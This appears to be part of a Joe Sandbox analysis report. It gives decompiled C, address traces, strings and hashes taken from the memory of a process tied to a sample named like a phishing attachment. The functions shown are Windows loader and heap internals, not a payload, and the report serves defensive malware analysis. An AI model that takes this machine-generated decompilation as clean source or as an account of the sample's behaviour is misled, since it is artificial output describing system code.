0x00a29bb2
0x00a29b8e
0x00a29b97
0x00a29b9c
0x00a29b9e
0x00a29ba3
0x00a29ba5
0x00a29c9f
0x00a29ca9
0x00a29cae
0x00a29cb3
0x00a29cb5
0x00a7a0b5
0x00000000
0x00a7a0b5
0x00a29cbb
0x00a29cc2
0x00a29cc7
0x00a29ccc
0x00a7a07c
0x00a7a088
0x00a7a08d
0x00a7a095
0x00a7a09a
0x00a7a09f
0x00a7a0ab
0x00a7a0ab
0x00a7a09f
0x00a29cd2
0x00a29cd6
0x00a29cdd
0x00000000
0x00a29ce2
0x00a29bab
0x00a29bab
0x00a29baf
0x00000000
0x00000000
0x00a29bbc
0x00a29bc1
0x00a29bc6
0x00a29bc9
0x00a29bcb
0x00a29bd0
0x00000000
0x00000000
0x00a29bd2
0x00a29bda
0x00a7a0c2
0x00000000
0x00a7a0c2
0x00a29be0
0x00a29be6
0x00000000
0x00000000
0x00a29c1f
0x00a29c28
0x00a29c29
0x00a29c2b
0x00a29c30
0x00a29c33
0x00a29c35
0x00a29c39
0x00a29c3b
0x00a29c3f
0x00000000
0x00000000
0x00a29c45
0x00000000
0x00000000
0x00a29c53
0x00a29c5c
0x00a29c5d
0x00a29c5f
0x00a29c64
0x00a29c67
0x00a29c69
0x00a29c6d
0x00a29c6f
0x00a29c73
0x00000000
0x00000000
0x00a29c79
0x00a29c7d
0x00a29c81
0x00000000
0x00000000
0x00a29c87
0x00a29c4a
0x00a29c4a
0x00000000
0x00000000
0x00a29ae9
0x00a29ae9
0x00a29af4
0x00000000
0x00000000
0x00a29afa
0x00a29afd
0x00a29aff
0x00a29b03
0x00a29b24
0x00a29b27
0x00000000
0x00000000
0x00a29b2d
0x00a29b35
0x00a29b39
0x00a29b3c
0x00a29b3c
0x00000000
0x00a29b3c
0x00a29b05
0x00a29b08
0x00a29b0d
0x00a29b0e
0x00a29b13
0x00000000
0x00000000
0x00000000
0x00a29b13
0x00a29b15
0x00a29b1a
0x00a29b1e
0x00000000
0x00000000
0x00000000
0x00000000
0x00a29a6a
0x00a29bf2
0x00a29bf2
0x00a29bf6
0x00a29bfb
0x00a29bfb
0x00a29bfe
0x00a29bfe
0x00a29c05
0x00a7a0e1
0x00a7a0e1
0x00a29c0e
0x00a7a0ec
0x00a7a0f3
0x00a7a0fe
0x00a7a0fe
0x00a7a10b
0x00a7a10b
0x00a29c1c
0x00a29c1c

Strings

LdrResFallbackLangList Enter, xrefs: 00A299F2
LdrResFallbackLangList Exit, xrefs: 00A29A04

Memory Dump Source

Source File: 0000000A.00000002.315066564.00000000009F0000.00000040.00000001.sdmp, Offset: 009F0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_9f0000_Request_For_Quotation#234242_signed_copy_document_september_rfq.jbxd

Similarity

API ID:
String ID: LdrResFallbackLangList Enter$LdrResFallbackLangList Exit
API String ID: 0-1720564570
Opcode ID: ac289fac3b8eac8cdb5fafee6077aae1f8eebfdf8215f0fcfef6a64e0dc52fb7
Instruction ID: 9b8bc38d52a6e15abb307c78360ff3c3b5384d15d41432dd28cb1b21a4de50e6
Opcode Fuzzy Hash: ac289fac3b8eac8cdb5fafee6077aae1f8eebfdf8215f0fcfef6a64e0dc52fb7
Instruction Fuzzy Hash: DFB1BB72608395DBD724CF18E580BABB7E4BF84B40F148979F8899B291D330DD45CB92

Uniqueness

Uniqueness Score: -1.00%

Function 00A951BE, Relevance: 2.7, Strings: 2, Instructions: 173
COMMON

Download Yara Rule

C-Code - Quality: 77%

			E00A951BE(void* __ebx, void* __ecx, intOrPtr __edx, void* __edi, void* __esi, void* __eflags) {
				signed short* _t63;
				signed int _t64;
				signed int _t65;
				signed int _t67;
				intOrPtr _t74;
				intOrPtr _t84;
				intOrPtr _t88;
				intOrPtr _t94;
				void* _t100;
				void* _t103;
				intOrPtr _t105;
				signed int _t106;
				short* _t108;
				signed int _t110;
				signed int _t113;
				signed int* _t115;
				signed short* _t117;
				void* _t118;
				void* _t119;

				_push(0x80);
				_push(0xaf05f0);
				E00A6D0E8(__ebx, __edi, __esi);
				 *((intOrPtr*)(_t118 - 0x80)) = __edx;
				_t115 =  *(_t118 + 0xc);
				 *(_t118 - 0x7c) = _t115;
				 *((char*)(_t118 - 0x65)) = 0;
				 *((intOrPtr*)(_t118 - 0x64)) = 0;
				_t113 = 0;
				 *((intOrPtr*)(_t118 - 0x6c)) = 0;
				 *((intOrPtr*)(_t118 - 4)) = 0;
				_t100 = __ecx;
				if(_t100 == 0) {
					 *(_t118 - 0x90) =  *((intOrPtr*)( *[fs:0x30] + 0x10)) + 0x24;
					L00A2EEF0( *((intOrPtr*)( *[fs:0x30] + 0x1c)));
					 *((char*)(_t118 - 0x65)) = 1;
					_t63 =  *(_t118 - 0x90);
					_t101 = _t63[2];
					_t64 =  *_t63 & 0x0000ffff;
					_t113 =  *((intOrPtr*)(_t118 - 0x6c));
					L20:
					_t65 = _t64 >> 1;
					L21:
					_t108 =  *((intOrPtr*)(_t118 - 0x80));
					if(_t108 == 0) {
						L27:
						 *_t115 = _t65 + 1;
						_t67 = 0xc0000023;
						L28:
						 *((intOrPtr*)(_t118 - 0x64)) = _t67;
						L29:
						 *((intOrPtr*)(_t118 - 4)) = 0xfffffffe;
						E00A953CA(0);
						return E00A6D130(0, _t113, _t115);
					}
					if(_t65 >=  *((intOrPtr*)(_t118 + 8))) {
						if(_t108 != 0 &&  *((intOrPtr*)(_t118 + 8)) >= 1) {
							 *_t108 = 0;
						}
						goto L27;
					}
					 *_t115 = _t65;
					_t115 = _t65 + _t65;
					E00A5F3E0(_t108, _t101, _t115);
					 *((short*)(_t115 +  *((intOrPtr*)(_t118 - 0x80)))) = 0;
					_t67 = 0;
					goto L28;
				}
				_t103 = _t100 - 1;
				if(_t103 == 0) {
					_t117 =  *((intOrPtr*)( *[fs:0x30] + 0x10)) + 0x38;
					_t74 = E00A33690(1, _t117, 0x9f1810, _t118 - 0x74);
					 *((intOrPtr*)(_t118 - 0x64)) = _t74;
					_t101 = _t117[2];
					_t113 =  *((intOrPtr*)(_t118 - 0x6c));
					if(_t74 < 0) {
						_t64 =  *_t117 & 0x0000ffff;
						_t115 =  *(_t118 - 0x7c);
						goto L20;
					}
					_t65 = (( *(_t118 - 0x74) & 0x0000ffff) >> 1) + 1;
					_t115 =  *(_t118 - 0x7c);
					goto L21;
				}
				if(_t103 == 1) {
					_t105 = 4;
					 *((intOrPtr*)(_t118 - 0x78)) = _t105;
					 *((intOrPtr*)(_t118 - 0x70)) = 0;
					_push(_t118 - 0x70);
					_push(0);
					_push(0);
					_push(_t105);
					_push(_t118 - 0x78);
					_push(0x6b);
					 *((intOrPtr*)(_t118 - 0x64)) = E00A5AA90();
					 *((intOrPtr*)(_t118 - 0x64)) = 0;
					_t113 = L00A34620(_t105,  *((intOrPtr*)( *[fs:0x30] + 0x18)), 8,  *((intOrPtr*)(_t118 - 0x70)));
					 *((intOrPtr*)(_t118 - 0x6c)) = _t113;
					if(_t113 != 0) {
						_push(_t118 - 0x70);
						_push( *((intOrPtr*)(_t118 - 0x70)));
						_push(_t113);
						_push(4);
						_push(_t118 - 0x78);
						_push(0x6b);
						_t84 = E00A5AA90();
						 *((intOrPtr*)(_t118 - 0x64)) = _t84;
						if(_t84 < 0) {
							goto L29;
						}
						_t110 = 0;
						_t106 = 0;
						while(1) {
							 *((intOrPtr*)(_t118 - 0x84)) = _t110;
							 *(_t118 - 0x88) = _t106;
							if(_t106 >= ( *(_t113 + 0xa) & 0x0000ffff)) {
								break;
							}
							_t110 = _t110 + ( *(_t106 * 0x2c + _t113 + 0x21) & 0x000000ff);
							_t106 = _t106 + 1;
						}
						_t88 = E00A9500E(_t106, _t118 - 0x3c, 0x20, _t118 - 0x8c, 0, 0, L"%u", _t110);
						_t119 = _t119 + 0x1c;
						 *((intOrPtr*)(_t118 - 0x64)) = _t88;
						if(_t88 < 0) {
							goto L29;
						}
						_t101 = _t118 - 0x3c;
						_t65 =  *((intOrPtr*)(_t118 - 0x8c)) - _t118 - 0x3c >> 1;
						goto L21;
					}
					_t67 = 0xc0000017;
					goto L28;
				}
				_push(0);
				_push(0x20);
				_push(_t118 - 0x60);
				_push(0x5a);
				_t94 = E00A59860();
				 *((intOrPtr*)(_t118 - 0x64)) = _t94;
				if(_t94 < 0) {
					goto L29;
				}
				if( *((intOrPtr*)(_t118 - 0x50)) == 1) {
					_t101 = L"Legacy";
					_push(6);
				} else {
					_t101 = L"UEFI";
					_push(4);
				}
				_pop(_t65);
				goto L21;
			}

0x00a951be
0x00a951c3
0x00a951c8
0x00a951cd
0x00a951d0
0x00a951d3
0x00a951d8
0x00a951db
0x00a951de
0x00a951e0
0x00a951e3
0x00a951e6
0x00a951e8
0x00a95342
0x00a95351
0x00a95356
0x00a9535a
0x00a95360
0x00a95363
0x00a95366
0x00a95369
0x00a95369
0x00a9536b
0x00a9536b
0x00a95370
0x00a953a3
0x00a953a4
0x00a953a6
0x00a953ab
0x00a953ab
0x00a953ae
0x00a953ae
0x00a953b5
0x00a953bf
0x00a953bf
0x00a95375
0x00a95396
0x00a953a0
0x00a953a0
0x00000000
0x00a95396
0x00a95377
0x00a95379
0x00a9537f
0x00a9538c
0x00a95390
0x00000000
0x00a95390
0x00a951ee
0x00a951f1
0x00a95301
0x00a95310
0x00a95315
0x00a95318
0x00a9531b
0x00a95320
0x00a9532e
0x00a95331
0x00000000
0x00a95331
0x00a95328
0x00a95329
0x00000000
0x00a95329
0x00a951fa
0x00a95235
0x00a95236
0x00a95239
0x00a9523f
0x00a95240
0x00a95241
0x00a95242
0x00a95246
0x00a95247
0x00a9524e
0x00a95251
0x00a95267
0x00a95269
0x00a9526e
0x00a9527d
0x00a9527e
0x00a95281
0x00a95282
0x00a95287
0x00a95288
0x00a9528a
0x00a9528f
0x00a95294
0x00000000
0x00000000
0x00a9529a
0x00a9529c
0x00a9529e
0x00a9529e
0x00a952a4
0x00a952b0
0x00000000
0x00000000
0x00a952ba
0x00a952bc
0x00a952bc
0x00a952d4
0x00a952d9
0x00a952dc
0x00a952e1
0x00000000
0x00000000
0x00a952e7
0x00a952f4
0x00000000
0x00a952f4
0x00a95270
0x00000000
0x00a95270
0x00a951fc
0x00a951fd
0x00a95202
0x00a95203
0x00a95205
0x00a9520a
0x00a9520f
0x00000000
0x00000000
0x00a9521b
0x00a95226
0x00a9522b
0x00a9521d
0x00a9521d
0x00a95222
0x00a95222
0x00a9522d
0x00000000

Strings

UEFI, xrefs: 00A9521D
Legacy, xrefs: 00A95226

Memory Dump Source

Source File: 0000000A.00000002.315066564.00000000009F0000.00000040.00000001.sdmp, Offset: 009F0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_9f0000_Request_For_Quotation#234242_signed_copy_document_september_rfq.jbxd

Similarity

API ID: InitializeThunk
String ID: Legacy$UEFI
API String ID: 2994545307-634100481
Opcode ID: e57d3954ceb840b59f728cbd32f8881b8740234f2be0ee56bc85794087946473
Instruction ID: 17c66f142c829a0832511af1d2af363cbbcc1a77a24e947dee0513af65cf4747
Opcode Fuzzy Hash: e57d3954ceb840b59f728cbd32f8881b8740234f2be0ee56bc85794087946473
Instruction Fuzzy Hash: 9E515BB1E00A199FDF25DFA8C952AAEBBF8FF48740F24402DE549EB251D671D940CB50

Uniqueness

Uniqueness Score: -1.00%

Function 00A484E0, Relevance: 2.7, Strings: 2, Instructions: 172
COMMON

Download Yara Rule

C-Code - Quality: 91%

			E00A484E0(void* __ebx, void* __edi, void* __esi, void* __eflags) {
				short _t59;
				short _t60;
				signed char** _t62;
				signed char* _t63;
				signed char* _t64;
				signed char* _t65;
				signed char* _t67;
				signed int _t69;
				signed char** _t74;
				signed char* _t75;
				signed char* _t76;
				intOrPtr _t81;
				signed char* _t90;
				short _t91;
				signed int _t93;
				signed int _t97;
				signed int _t101;
				intOrPtr _t109;
				signed char* _t110;
				void* _t114;

				_push(0x44);
				_push(0xaf00d0);
				E00A6D08C(__ebx, __edi, __esi);
				_t91 = 0x36;
				 *((short*)(_t114 - 0x38)) = _t91;
				_t59 = 0x38;
				 *((short*)(_t114 - 0x36)) = _t59;
				 *(_t114 - 0x34) = L"LdrpResGetMappingSize Enter";
				_t60 = 0x34;
				 *((short*)(_t114 - 0x40)) = _t60;
				 *((short*)(_t114 - 0x3e)) = _t91;
				 *(_t114 - 0x3c) = L"LdrpResGetMappingSize Exit";
				_t62 =  *( *[fs:0x30] + 0x50);
				if(_t62 != 0) {
					__eflags =  *_t62;
					if( *_t62 == 0) {
						goto L1;
					}
					_t63 =  &(( *( *[fs:0x30] + 0x50))[0x8a]);
					L2:
					if(( *_t63 & 0x00000001) != 0) {
						_t64 = E00A37D50();
						_t112 = 0x7ffe0384;
						__eflags = _t64;
						if(_t64 == 0) {
							_t65 = 0x7ffe0384;
						} else {
							_t65 =  &(( *( *[fs:0x30] + 0x50))[0x8a]);
						}
						L00AA6715(_t114 - 0x38,  *_t65 & 0x000000ff);
						L4:
						_t101 =  *(_t114 + 8);
						if(_t101 == 0) {
							L49:
							_t67 = 0xc000000d;
							L21:
							return E00A6D0D1(_t67);
						}
						_t93 =  *(_t114 + 0xc);
						if(_t93 == 0) {
							goto L49;
						}
						 *((intOrPtr*)(_t114 - 0x28)) = 0;
						_t69 =  *(_t114 + 0x10);
						if((_t69 & 0x00020000) != 0) {
							 *((intOrPtr*)(_t114 - 0x28)) =  *_t93;
						}
						 *_t93 =  *_t93 & 0x00000000;
						_t90 = 0;
						asm("bt eax, 0x8");
						 *(_t114 - 0x19) = (_t93 & 0xffffff00 | (_t101 & 0x00000001) == 0x00000000) & (_t69 & 0xffffff00 | (_t101 & 0x00000001) > 0x00000000);
						 *(_t114 - 0x34) = _t101 & 0xfffffffc;
						_t67 = E00A2E9C0(1, _t101 & 0xfffffffc, 0, 0, _t114 - 0x2c);
						 *(_t114 - 0x20) = _t67;
						if(_t67 < 0) {
							goto L21;
						} else {
							 *(_t114 - 4) =  *(_t114 - 4) & 0;
							_t109 =  *((intOrPtr*)(_t114 - 0x2c));
							_t97 =  *(_t109 + 0x18) & 0x0000ffff;
							if(_t97 != 0x10b) {
								L29:
								__eflags = _t97 - 0x20b;
								if(_t97 == 0x20b) {
									goto L9;
								}
								_t110 = 0;
								 *(_t114 - 0x24) = 0;
								_t67 = 0xc000007b;
								 *(_t114 - 0x20) = 0xc000007b;
								L10:
								 *(_t114 - 4) = 0xfffffffe;
								if(_t67 < 0) {
									goto L21;
								}
								if( *(_t114 - 0x19) == 0 || _t110 == 0) {
									__eflags =  *((char*)(_t114 + 0x14));
									if(__eflags == 0) {
										_t90 = E00A2EAEA(_t90,  *(_t114 + 8), _t110, _t112, __eflags);
									}
									__eflags = _t90;
									if(_t90 != 0) {
										_t67 = 0;
										 *(_t114 - 0x20) = 0;
									} else {
										_push(_t90);
										_push(0x14);
										_push(_t114 - 0x54);
										_push(3);
										_push( *(_t114 - 0x34));
										_push(0xffffffff);
										_t67 = L00A59730();
										 *(_t114 - 0x20) = _t67;
										__eflags = _t67;
										if(_t67 >= 0) {
											_t90 =  *(_t114 - 0x48);
										}
									}
									__eflags = _t90;
									if(_t90 != 0) {
										goto L14;
									} else {
										__eflags = _t110;
										if(_t110 == 0) {
											goto L14;
										} else {
											_t67 = 0;
											 *(_t114 - 0x20) = 0;
											goto L13;
										}
										goto L29;
									}
								} else {
									L13:
									_t90 = _t110;
									L14:
									if(_t67 < 0) {
										L17:
										_t74 =  *( *[fs:0x30] + 0x50);
										if(_t74 != 0) {
											__eflags =  *_t74;
											if( *_t74 == 0) {
												goto L18;
											}
											_t75 =  &(( *( *[fs:0x30] + 0x50))[0x8a]);
											L19:
											if(( *_t75 & 0x00000001) != 0) {
												_t76 = E00A37D50();
												__eflags = _t76;
												if(_t76 != 0) {
													_t112 =  &(( *( *[fs:0x30] + 0x50))[0x8a]);
													__eflags =  &(( *( *[fs:0x30] + 0x50))[0x8a]);
												}
												L00AA6715(_t114 - 0x40,  *_t112 & 0x000000ff);
											}
											_t67 =  *(_t114 - 0x20);
											goto L21;
										}
										L18:
										_t75 = 0x7ffe0385;
										goto L19;
									}
									_t81 =  *((intOrPtr*)(_t114 - 0x28));
									if(_t81 != 0) {
										__eflags = _t81 - _t90;
										if(_t81 >= _t90) {
											goto L16;
										}
										 *(_t114 - 0x20) = 0xc000001f;
										goto L17;
									}
									L16:
									 *( *(_t114 + 0xc)) = _t90;
									goto L17;
								}
							}
							L9:
							_t110 =  *(_t109 + 0x50);
							 *(_t114 - 0x24) = _t110;
							goto L10;
						}
					}
					_t112 = 0x7ffe0384;
					goto L4;
				}
				L1:
				_t63 = 0x7ffe0385;
				goto L2;
			}

0x00a484e0
0x00a484e2
0x00a484e7
0x00a484ee
0x00a484ef
0x00a484f5
0x00a484f6
0x00a484fa
0x00a48503
0x00a48504
0x00a48508
0x00a4850c
0x00a48519
0x00a4851e
0x00a88e3c
0x00a88e3f
0x00000000
0x00000000
0x00a88e4e
0x00a48529
0x00a4852c
0x00a88e58
0x00a88e5d
0x00a88e62
0x00a88e64
0x00a88e76
0x00a88e66
0x00a88e6f
0x00a88e6f
0x00a88e7e
0x00a48537
0x00a48537
0x00a4853c
0x00a88f31
0x00a88f31
0x00a48601
0x00a48606
0x00a48606
0x00a48542
0x00a48547
0x00000000
0x00000000
0x00a4854f
0x00a48552
0x00a4855a
0x00a88e8a
0x00a88e8a
0x00a48560
0x00a48563
0x00a4856d
0x00a48576
0x00a4857e
0x00a4858a
0x00a4858f
0x00a48594
0x00000000
0x00a48596
0x00a48596
0x00a48599
0x00a4859c
0x00a485a8
0x00a48643
0x00a48648
0x00a4864b
0x00000000
0x00000000
0x00a88e92
0x00a88e94
0x00a88e97
0x00a88e9c
0x00a485b4
0x00a485b4
0x00a485bd
0x00000000
0x00000000
0x00a485c3
0x00a48609
0x00a4860d
0x00a48617
0x00a48617
0x00a48619
0x00a4861b
0x00a48656
0x00a48658
0x00a4861d
0x00a4861d
0x00a4861e
0x00a48623
0x00a48624
0x00a48626
0x00a48629
0x00a4862b
0x00a48630
0x00a48633
0x00a48635
0x00a48637
0x00a48637
0x00a48635
0x00a4863a
0x00a4863c
0x00000000
0x00a4863e
0x00a88ec7
0x00a88ec9
0x00000000
0x00a88ecf
0x00a88ecf
0x00a88ed1
0x00000000
0x00a88ed1
0x00000000
0x00a88ec9
0x00a485c9
0x00a485c9
0x00a485c9
0x00a485cb
0x00a485cd
0x00a485df
0x00a485e5
0x00a485ea
0x00a88eed
0x00a88ef0
0x00000000
0x00000000
0x00a88eff
0x00a485f5
0x00a485f8
0x00a88f09
0x00a88f0e
0x00a88f10
0x00a88f1b
0x00a88f1b
0x00a88f1b
0x00a88f27
0x00a88f27
0x00a485fe
0x00000000
0x00a485fe
0x00a485f0
0x00a485f0
0x00000000
0x00a485f0
0x00a485cf
0x00a485d4
0x00a88ed9
0x00a88edb
0x00000000
0x00000000
0x00a88ee1
0x00000000
0x00a88ee1
0x00a485da
0x00a485dd
0x00000000
0x00a485dd
0x00a485c3
0x00a485ae
0x00a485ae
0x00a485b1
0x00000000
0x00a485b1
0x00a48594
0x00a48532
0x00000000
0x00a48532
0x00a48524
0x00a48524
0x00000000

Strings

LdrpResGetMappingSize Enter, xrefs: 00A484FA
LdrpResGetMappingSize Exit, xrefs: 00A4850C

Memory Dump Source

Source File: 0000000A.00000002.315066564.00000000009F0000.00000040.00000001.sdmp, Offset: 009F0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_9f0000_Request_For_Quotation#234242_signed_copy_document_september_rfq.jbxd

Similarity

API ID:
String ID: LdrpResGetMappingSize Enter$LdrpResGetMappingSize Exit
API String ID: 0-1497657909
Opcode ID: 9de93ee0dd1cbbc4e790e4fa294aa01a1f2be6744c44a031a2e7b158de5c61e2
Instruction ID: 760be8a0f2742199b44b8dafa3078d5be42424bfe96b1cf0b5e01736e0a2a302
Opcode Fuzzy Hash: 9de93ee0dd1cbbc4e790e4fa294aa01a1f2be6744c44a031a2e7b158de5c61e2
Instruction Fuzzy Hash: DA51E175A00249DFDB21DFA8E940BAEB7B5BF94744F15002AE901EB291EF78DD40CB25

Uniqueness

Uniqueness Score: -1.00%

Function 00A14439, Relevance: 2.6, Strings: 2, Instructions: 129
COMMON

Download Yara Rule

C-Code - Quality: 68%

			E00A14439(intOrPtr* __ecx, signed int __edx) {
				signed int _v8;
				signed int _v60;
				intOrPtr _v64;
				intOrPtr _v68;
				signed int _v72;
				intOrPtr _v76;
				signed int _v84;
				signed int _v88;
				char _v92;
				signed int _v96;
				void* __ebx;
				void* __edi;
				void* __esi;
				void* __ebp;
				signed int _t64;
				signed int _t68;
				intOrPtr* _t72;
				signed int _t74;
				void* _t77;
				signed int _t83;
				signed int _t84;

				_t79 = __edx;
				_t54 =  *0xb0d360 ^ _t84;
				_v8 =  *0xb0d360 ^ _t84;
				_t82 = __ecx;
				_v96 = __edx;
				_t74 = __edx;
				if(__edx != 0 && ( *(__edx + 8) & 0x00000004) == 0) {
					_t82 = __ecx + 4;
					_t72 =  *_t82;
					while(_t72 != _t82) {
						_t83 = _t72 - 8;
						_t79 = 1;
						if( *_t83 != 0x74736c46) {
							_v84 = _v84 & 0x00000000;
							_push( &_v92);
							_v76 = 4;
							_v72 = 1;
							_v68 = 1;
							_v64 = _t82;
							_v60 = _t83;
							_v92 = 0xc0150015;
							_v88 = 1;
							L00A6DEF0(_t74, 1);
							_t74 = _v96;
							_t79 = 1;
						}
						if( *(_t83 + 0x14) !=  !( *(_t83 + 4))) {
							_v84 = _v84 & 0x00000000;
							_push( &_v92);
							_v76 = 4;
							_v72 = _t79;
							_v68 = 2;
							_v64 = _t82;
							_v60 = _t83;
							_v92 = 0xc0150015;
							_v88 = _t79;
							L00A6DEF0(_t74, _t79);
							_t74 = _v96;
						}
						_t9 = _t83 + 0x18; // 0x1c
						_t54 = _t9;
						if(_t74 < _t9) {
							L13:
							_t72 =  *_t72;
							continue;
						} else {
							_t10 = _t83 + 0x618; // 0x61c
							_t54 = _t10;
							if(_t74 >= _t10) {
								goto L13;
							} else {
								_v96 = 0x30;
								_t64 = _t74 - _t83 - 0x18;
								asm("cdq");
								_t79 = _t64 % _v96;
								_t54 = 0x18 + _t64 / _v96 * 0x30 + _t83;
								if(_t74 == 0x18 + _t64 / _v96 * 0x30 + _t83) {
									_t54 =  *(_t83 + 4);
									if(_t54 != 0) {
										_t68 = _t54 - 1;
										 *(_t83 + 4) = _t68;
										_t54 =  !_t68;
										 *(_t83 + 0x14) =  !_t68;
										 *((intOrPtr*)(_t74 + 8)) = 4;
										if( *(_t83 + 4) == 0) {
											_t54 =  *(_t72 + 4);
											if(_t54 != _t82) {
												do {
													_t83 =  *(_t54 + 4);
													_t79 = _t54 - 8;
													if( *((intOrPtr*)(_t54 - 8 + 4)) == 0) {
														_t77 =  *_t54;
														if( *(_t77 + 4) != _t54 ||  *_t83 != _t54) {
															_push(3);
															asm("int 0x29");
															return 0x3e5;
														}
														 *_t83 = _t77;
														 *(_t77 + 4) = _t83;
														L00A377F0( *((intOrPtr*)( *[fs:0x30] + 0x18)), 0, _t79);
													}
													_t54 = _t83;
												} while (_t83 != _t82);
											}
										}
									}
								}
							}
						}
						goto L12;
					}
				}
				L12:
				return L00A5B640(_t54, _t72, _v8 ^ _t84, _t79, _t82, _t83);
			}

0x00a14439
0x00a14446
0x00a14448
0x00a1444e
0x00a14450
0x00a14453
0x00a14457
0x00a14467
0x00a1446a
0x00a1446c
0x00a14472
0x00a14475
0x00a1447c
0x00a7080d
0x00a70814
0x00a70815
0x00a7081c
0x00a7081f
0x00a70822
0x00a70825
0x00a70828
0x00a7082f
0x00a70832
0x00a70837
0x00a7083c
0x00a7083c
0x00a1448a
0x00a70842
0x00a70849
0x00a7084a
0x00a70851
0x00a70854
0x00a7085b
0x00a7085e
0x00a70861
0x00a70868
0x00a7086b
0x00a70870
0x00a70870
0x00a14490
0x00a14490
0x00a14495
0x00a144f8
0x00a144f8
0x00000000
0x00a14497
0x00a14497
0x00a14497
0x00a1449f
0x00000000
0x00a144a1
0x00a144a3
0x00a144ac
0x00a144af
0x00a144b0
0x00a144b9
0x00a144bd
0x00a144bf
0x00a144c4
0x00a144c6
0x00a144c7
0x00a144ca
0x00a144cc
0x00a144cf
0x00a144da
0x00a144dc
0x00a144e1
0x00a70878
0x00a70878
0x00a7087b
0x00a70882
0x00a70884
0x00a70889
0x00a708b0
0x00a708b3
0x00000000
0x00a708b5
0x00a70896
0x00a7089a
0x00a708a0
0x00a708a0
0x00a708a5
0x00a708a7
0x00a708ab
0x00a144e1
0x00a144da
0x00a144c4
0x00a144bd
0x00a1449f
0x00000000
0x00a14495
0x00a1446c
0x00a144e7
0x00a144f7

Strings

0, xrefs: 00A144A3
Flst, xrefs: 00A14476

Memory Dump Source

Source File: 0000000A.00000002.315066564.00000000009F0000.00000040.00000001.sdmp, Offset: 009F0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_9f0000_Request_For_Quotation#234242_signed_copy_document_september_rfq.jbxd

Similarity

API ID:
String ID: 0$Flst
API String ID: 0-758220159
Opcode ID: 739864352b301f7464064f6f59140ca33ad80feafc4b34c5c1524dce59e1ae04
Instruction ID: 445022df38a49e2b1eb5a0438d45cad7a1674f476de745339717b1a28fd7f243
Opcode Fuzzy Hash: 739864352b301f7464064f6f59140ca33ad80feafc4b34c5c1524dce59e1ae04
Instruction Fuzzy Hash: AF4179B1E00648CFDB24CF99C980BADFBF5EF58314F24802AD04AAB640D7359986CB84

Uniqueness

Uniqueness Score: -1.00%

Function 00A261A7, Relevance: 2.6, Strings: 2, Instructions: 115
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E00A261A7(intOrPtr __ecx, intOrPtr __edx, signed int* _a4, signed int* _a8, intOrPtr _a12) {
				signed int _v8;
				intOrPtr _v12;
				intOrPtr _v16;
				char* _v20;
				short _v22;
				char _v24;
				char* _v28;
				short _v30;
				char _v32;
				void* __ebx;
				void* __edi;
				void* __esi;
				void* __ebp;
				short _t33;
				short _t34;
				void* _t35;
				signed char* _t38;
				signed int _t39;
				signed char* _t40;
				intOrPtr* _t43;
				void* _t45;
				signed int _t46;
				signed int _t47;
				signed int _t49;
				signed int _t53;
				signed char* _t56;
				short _t59;
				intOrPtr* _t61;
				signed int _t69;
				signed int _t70;

				_v12 = __ecx;
				_t70 = 0;
				_t59 = 0x42;
				_t33 = 0x44;
				_v22 = _t33;
				_t34 = 0x40;
				_v16 = __edx;
				_v8 = 0;
				_v24 = _t59;
				_v20 = L"RtlpResUltimateFallbackInfo Enter";
				_v32 = _t34;
				_v30 = _t59;
				_v28 = L"RtlpResUltimateFallbackInfo Exit";
				_t35 = E00A37D50();
				_t56 = 0x7ffe0385;
				if(_t35 != 0) {
					_t38 =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x22b;
				} else {
					_t38 = 0x7ffe0385;
				}
				_t71 = 0x7ffe0384;
				if(( *_t38 & 0x00000001) != 0) {
					_t39 = E00A37D50();
					__eflags = _t39;
					if(_t39 == 0) {
						_t40 = 0x7ffe0384;
					} else {
						_t40 =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x22a;
					}
					L00AA6715( &_v24,  *_t40 & 0x000000ff);
				}
				_t67 = _v12;
				if(_v12 == 0) {
					L27:
					return 0xc000000d;
				} else {
					_t43 = _a4;
					if(_t43 == 0) {
						goto L27;
					}
					_t61 = _a8;
					_t77 = _t61;
					if(_t61 == 0) {
						goto L27;
					}
					 *_t43 = _t70;
					 *_t61 = _t70;
					_t45 = E00A262A0(_t56, _t70, _t71, _t77, _t67, _v16,  &_v8, _a12, 1);
					if(_t45 >= 0) {
						_t46 = _v8;
						__eflags = _t46;
						if(_t46 == 0) {
							L17:
							_t70 = 0xc0000001;
							L14:
							_t47 = E00A37D50();
							__eflags = _t47;
							if(_t47 != 0) {
								_t56 =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x22b;
							}
							__eflags =  *_t56 & 0x00000001;
							if(( *_t56 & 0x00000001) != 0) {
								_t49 = E00A37D50();
								__eflags = _t49;
								if(_t49 != 0) {
									_t71 =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x22a;
									__eflags =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x22a;
								}
								L00AA6715( &_v32,  *_t71 & 0x000000ff);
								goto L16;
							} else {
								L16:
								return _t70;
							}
						}
						__eflags = _t46 - 0xffffffff;
						if(_t46 == 0xffffffff) {
							goto L17;
						}
						__eflags =  *((intOrPtr*)(_t46 + 0x7c)) - _t70;
						if( *((intOrPtr*)(_t46 + 0x7c)) == _t70) {
							goto L17;
						}
						__eflags =  *((intOrPtr*)(_t46 + 0x80)) - _t70;
						if( *((intOrPtr*)(_t46 + 0x80)) == _t70) {
							goto L17;
						}
						_t69 =  *(_t46 + 0x18);
						__eflags = _t69;
						if(_t69 == 0) {
							goto L17;
						}
						_t53 = _t46 +  *((intOrPtr*)(_t46 + 0x7c));
						__eflags = _t53;
						 *_a8 = _t69;
						 *_a4 = _t53;
						goto L14;
					}
					return _t45;
				}
			}

0x00a261b4
0x00a261b7
0x00a261b9
0x00a261bc
0x00a261bf
0x00a261c3
0x00a261c4
0x00a261c7
0x00a261ca
0x00a261ce
0x00a261d5
0x00a261d9
0x00a261dd
0x00a261e4
0x00a261e9
0x00a261f0
0x00a78fb9
0x00a261f6
0x00a261f6
0x00a261f6
0x00a261fb
0x00a26200
0x00a78fc3
0x00a78fc8
0x00a78fca
0x00a78fdc
0x00a78fcc
0x00a78fd5
0x00a78fd5
0x00a78fe4
